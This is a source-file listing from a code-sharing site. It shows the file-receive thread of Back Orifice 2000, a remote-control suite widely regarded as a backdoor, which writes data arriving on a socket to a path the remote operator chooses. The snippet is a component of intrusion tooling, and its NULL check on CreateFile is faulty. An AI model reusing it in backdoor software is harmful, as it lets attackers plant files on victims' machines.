cmd_tcpip_filerecv.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:2k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<auth.h>
  17. #include<osversion.h>
  18. #include<iohandler.h>
  19. #include<functions.h>
  20. #include<cmdcmd_tcpip.h>
  21. #include<pviewer.h>
  22. //typedef struct __port_child_param {
  23. // SOCKET s;
  24. // SOCKADDR_IN saddr;
  25. // BOOL *pbDone;
  26. // int nArg1;
  27. // char *svArg2;
  28. // char *svArg3;
  29. //} PORT_CHILD_PARAM;
  30. DWORD WINAPI PortFileRecvThread(LPVOID lpParameter)
  31. {
  32. PORT_CHILD_PARAM *ppcp=(PORT_CHILD_PARAM *) lpParameter;
  33. // Open target file
  34. HANDLE hFile;
  35. hFile=CreateFile(ppcp->svArg2,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  36. if(hFile!=NULL) {
  37. int nBytes;
  38. DWORD dwCount;
  39. char svBuffer[1024];
  40. do {
  41. // Give up time
  42. Sleep(20);
  43. nBytes=recv(ppcp->s,svBuffer,1024,0);
  44. if(nBytes>0) {
  45. WriteFile(hFile,svBuffer,nBytes,&dwCount,NULL);
  46. }
  47. } while(nBytes>0);
  48. CloseHandle(hFile);
  49. }
  50. closesocket(ppcp->s);
  51. free(ppcp);
  52. return 0;
  53. }